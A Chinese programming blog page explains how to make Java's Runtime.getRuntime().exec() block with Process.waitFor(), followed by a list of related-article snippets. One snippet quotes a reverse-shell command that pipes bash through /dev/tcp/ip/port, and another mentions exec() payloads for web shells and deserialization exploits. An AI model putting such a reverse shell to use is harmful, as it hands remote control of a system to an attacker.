java.lang.Runtime.getRuntime().exec 调用后,等待被调用程序结束后再继续执行

JAVA外部程序调用(Runtime.getRuntime().exec) 阅读详情
在java中调用操作系统的程序时,可以使用java.lang.Runtime.getRuntime().exec() 来实现,但是这个方法在调用命令后就直接返回当前线程了;程序设计时,有时候需要在等待调用的系统程序完成操作后,当前线程才能做下一步操作,此时可以用类Process的方法waitFor()来实现,它会阻塞当先线程直至调用程序运行结束
Java代码  收藏代码
  1. java.lang.Process process = java.lang.Runtime.getRuntime().exec("");//执行命令生成cube  
  2. try {  
  3.    process.waitFor();  
  4. } catch (InterruptedException e) {  
  5. // TODO Auto-generated catch block  
  6.    e.printStackTrace();  
  7. }  
  8. proc_stat = checkFileSize() ? "1" : "3";  
java.lang.Process process = java.lang.Runtime.getRuntime().exec("");//执行命令生成cube
try {
   process.waitFor();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
   e.printStackTrace();
}
proc_stat = checkFileSize() ? "1" : "3";


Process的方法waitFor()介绍,取自API文档:
waitFor
public abstract int waitFor()
                     throws InterruptedException导致当前线程等待,如果必要,一直要等到由该 Process 对象表示的进程已经终止。如果已终止该子进程,此方法立即返回。如果没有终止该子进程,调用的线程将被阻塞,直到退出子进程。

返回:
进程的出口值。根据惯例,0 表示正常终止。
抛出:
InterruptedException - 如果当前线程在等待时被另一线程 中断,则停止等待,抛出 InterruptedException。
YOLOv13涨点改进 | 全网独家创新、HyperACE改进、注意力改进篇 | CVPR 2025| 引入LRSA局部区域自注意力模块,能提升其在细节捕捉、小目标检测和长距离依赖建模方面的能力 本文提出将LRSA(局部区域自注意力)模块集成到YOLOv13中,通过局部特征交互增强细节捕捉能力、小物体检测精度和长距离依赖建模。LRSA模块采用重叠图像块处理策略,在保持计算效率的同时提升复杂背景下的检测性能。文章详细介绍了模块结构、原理优势,并提供了三种改进方案:1)在主干网络添加LRSA层;2)将关键模块替换为DSC3k2_LRSA;3)采用HyperACE_LRSA结构。配套提供了完整的PyTorch实现代码和YAML配置文件,展示了该模块如何通过局部注意力机制平衡检测精度与推理速度。 阅读详情

相关推荐

信奥编程启蒙 3068:【例13.3】时间差

现在给出一个时间,单位是秒,要求按照电子表格式输出,输出保证不会超过 2424 小时。3067:【例13.2】 电子表。把时间转化成电子表格式输出。电子表上的时间显示方法形如。

900

确保Runtime.getRuntime().exec()执行结束再执行下一步

确保Runtime.getRuntime().exec()执行结束再执行下一步 分类: Java 2009-02-20 20:22 1913人阅读 评论(0)收藏 举报 shellapi Runtime.getRuntime().exec()是一个很有用的函数,可以调用操作系统的shell指令。 但是这个函数有一个问题,当它把传给它的控制台命令丢给shell执行后,它就立即返

manshq163com的专栏 3176

【实战指南】OpenClaw Telegram 群聊不响应完整解决方案:从获取群 ID 到关闭隐私模式全流程

将整个从“获取群组 ID → 配置 OpenClaw Telegram 通道 → 关闭隐私模式 → 测试”的全流程都整合进去。

hampeter的博客 3488

Runtime.getRuntime().exec详解

Runtime.getRuntime().exec 用于调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池。功能和windows“运行”类似。

qq1091606981的专栏 1万+

告别混乱接线!用EPLAN 3D布局图,手把手教你搞定电气柜的3D建模与自动布线

本文详细介绍了如何使用EPLAN 3D布局图进行电气柜的3D建模与自动布线,帮助工程师告别混乱接线。从项目准备、基础结构建模到智能设备布局与逻辑定义,再到高级布线技术与问题排查,提供了一套完整的实战指南。通过EPLAN的3D功能,显著提升设计效率与系统可靠性。

weixin_30680385的博客 339

网络抓包实战:如何捕获与解析802.1Q VLAN标签报文

在网络通信中,数据包是信息传输的基本单元,而VLAN(虚拟局域网)技术通过在数据链路层插入802.1Q标签,实现了网络流量的逻辑隔离与高效管理。其核心原理是在标准以太网帧头中嵌入4字节的VLAN标识,使交换机能够根据VID(VLAN ID)进行精准转发。掌握VLAN报文的捕获与解析技术,对于网络故障排查、安全审计和性能优化具有重要价值,尤其在需要验证网络隔离策略或诊断Trunk链路异常时。本文聚焦于使用Wireshark工具,结合端口镜像等实操方法,详细演示如何抓取并解读携带802.1Q标签的原始报文,帮助

weixin_33417488的博客 382

调用Runtime.getRuntime().exec后等待命令处理完毕的问题

try{ String command = "xxx"; Process child = Runtime.getRuntime().exec(command); child.waitFor(); }catch(Exception e){ e.printStackTrace(); }  上面的语句在unix和mac下调用都没问题,但是win...

shappy1978的专栏 2586

保姆级教程:用OpenCV搞定鱼眼双目相机的标定与测距(附完整C++代码)

本文详细介绍了使用OpenCV进行鱼眼双目相机标定与测距的全流程,包括环境搭建、数据采集、单目标定、双目标定、立体校正和视差计算等核心步骤。通过完整的C++代码示例和参数调优指南,帮助开发者快速实现高精度的双目测距系统,适用于机器人导航、VR全景拍摄等领域。

weixin_42573113的博客 387

java Runtime.getRuntime().exec 获取反弹shell

说明 前面写了一篇在Java环境下获取shell的文章。当时使用的语句是: 1 2 3 Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p

whatday的专栏 7354

33、AI赋能5G/6G通信:LDPC码解码与强化学习技术解析

本文探讨了基于AI和强化学习的LDPC码技术在5G/6G通信中的应用。包括LAMS解码器、神经MS解码器、盲识别方法、统一极性-LDPC解码器、NNMS和SNNMS解码器、N-2D-NMS解码器、神经分层MS解码器、MAB-NS方案以及强化学习与MCTS结合的技术。这些技术在提升解码性能、降低计算复杂度和增强系统适应性方面表现出色,为未来通信系统的发展提供了强有力的支持。

lambda的博客 242

【Claude】Not logged in · Please run /login 报错已解决

意味着 Claude Code 没有找到任何有效凭证。直接/login——交互式首选;检查——排查环境变量污染;CI 用——自动化场景标准方案;macOS Keychain 异常——/logout/login重置;时钟偏差——校准系统时间。参考:Claude Code 官方《错误参考》"身份验证"章节、官方认证优先级文档、社区 Token 过期排查记录。

博客 9976

java.lang.Runtime.exec的笔记

2005-12-7 晚 Lang_m这是Michael C.Daconta对Java一系列Traps文章中的一篇,题目是WhenRuntime.exec() wont 原文链接在http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html 边看他的文章也正好了解一下Runtime类 

lang_m的专栏 4551

【毕设保姆级指南】基于YOLOv8的DAGM 2007工业缺陷检测系统从搭建到落地

本教程基于YOLOv8算法实现DAGM 2007工业缺陷检测系统,包含数据处理、模型训练和可视化界面开发全流程。首先对DAGM数据集进行格式转换和划分,然后通过YOLOv8训练工业缺陷检测模型,最终构建PyQt5交互界面实现缺陷可视化检测。该系统可用于智能制造中的产品质量控制,帮助快速定位工业产品缺陷,提升检测效率和准确性,为工业质检提供高效解决方案。

LXY_LOVE36的博客 182

java进程调用外部程序时fork()+exec()分析

java进程要qi'd Runtime.getRuntime().exec(cmd) 的执行流程分析 继续上网查,大概意思是Java程序调用外部程序时可能需要分配跟父进程同等大小的内存。这就奇怪了,比如说,我随便调用一下ls命令,也需要很多内存吗?肯定是Java调用外部程序的接口里处理比较特殊。嗯,刚好JDK也开源,看看源码去。 分析SUN JDK 1.5 SRC,找到Runti

快乐程序员的专栏 5960

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

java 调用 RunTime.getRuntime().exec 报错at java.lang.UNIXProcess.exitValue

这里我们主要是调用了 一个方法导致的 process.exitValue()。 Process.exitValue() 采用非阻塞的方式返回,如果没有立即拿到返回值,则抛出异常。 我的解决方法是 去掉这个 使用Process.waitFor() Process.waitFor() 当前线程等待,如有必要,一直要等到由该 Process 对象表示的进程已经终止。但是如果我们在调用此方法时,如果不注意的话,很容易出现主线程阻塞,Process也挂起的情况。在调用waitFor() 的时候,Proc.

liaoxiaolin520的博客 1582

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

java.lang包下的Runtime类的使用初解

参考: https://blog.csdn.net/zjt1388/article/details/82656484 https://blog.csdn.net/liu16659/article/details/82971072 https://www.yiibai.com/java/lang/runtime_load.html 文章目录序一、 看源码 jdk9 :二 、几个方法的一般使用三、...

改变ing 4371

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

java runtime exec_java.lang.Runtime.exec() Payload知识点详解

有时,通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用Web Shell,反序列化利用或通过其他媒介时,可能会发生这种情况。有时这是因为重定向和管道字符的使用在启动过程的上下文中没有意义。例如,在shell中执行ls> dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释...

weixin_34732602的博客 696

java的Runtime.getRuntime().exec()

试过用sleep()来通过延时来执行。 在网上找了下为了确保Runtime.getRuntime().exec()执行结束再执行下一步呢,注意到Runtime.exec()指令返回了一个Process对象。通过Process.WorkFor();来得到程序完成后在退出。 java.lang.Process process = java.lang.Runtime.getRuntime().e...

轻轻草原 930

JAVA Runtime.getRuntime().exec(cmd)的正确格式

Runtime.getRuntime().exec(cmd)的正确用法

shelutai的博客 917

java.lang.Runtime类

java.lang.Runtime类

听海边涛声 470

Java Runtime.exec()的使用

Sun的doc里其实说明还有其他的用法: exec(String[] cmdarray, String[] envp, File dir) Executes the specified command and arguments in a separate process with the specified environment and working directory. 那个

toneylyx的博客 8072

多线程Runtime.getRuntime().exec常见问题

JAVA调用一个bat批处理程序,调用几十次后会莫名的不再执行,无任何异常抛出。千试万试,LOG精细到逐行,只知道走到Runtime.getRuntime().exec()程序就停止了,但打死不知道为什么。那真以为里面有鬼。后来寻摸着Runtime.getRuntime().exec()有问题,真给我找到答案了。 大概原因是,调用Runtime.getRuntime().exec()后,如果不及

chengly0129的专栏 5334

java.lang.Runtime.exec() Payload Workarounds

由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码 编码工具: 地址: http://jackson.thuraisamy.me/runtime-exec-payloads.html 转载于:https://www.cnblogs.com/sevck/p/7904303.html...

angaoux03775的博客 1047

java runtime exec 出错,Java runtime.exec无法正确执行

I am getting an exe-File, which I have to execute using Java (Version 6) on Windows Server 2008 R2. Now there is s problem I do not really understand. When executing the file with the commandline"C:\t...

weixin_39843151的博客 407

Runtime.exec() 的陷阱

原文地址:http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4 作为Java语言的一部分。java.lang包被隐藏的导入到每一个Java程序。这个包的表面陷阱,经常影响到大多数程序员。这个月,我将讨论运行时exec()方法时的潜伏陷阱。 陷阱4:当运行exec()不会 java.lang.Ru

Vern的专栏 1万+
上一篇: JS JavaScript 模态窗口为什么提交给自己总是弹出一个新窗口??
下一篇: 多线程菜鸟进阶 一
君望永远
博客等级 码龄19年 1630粉丝 574原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值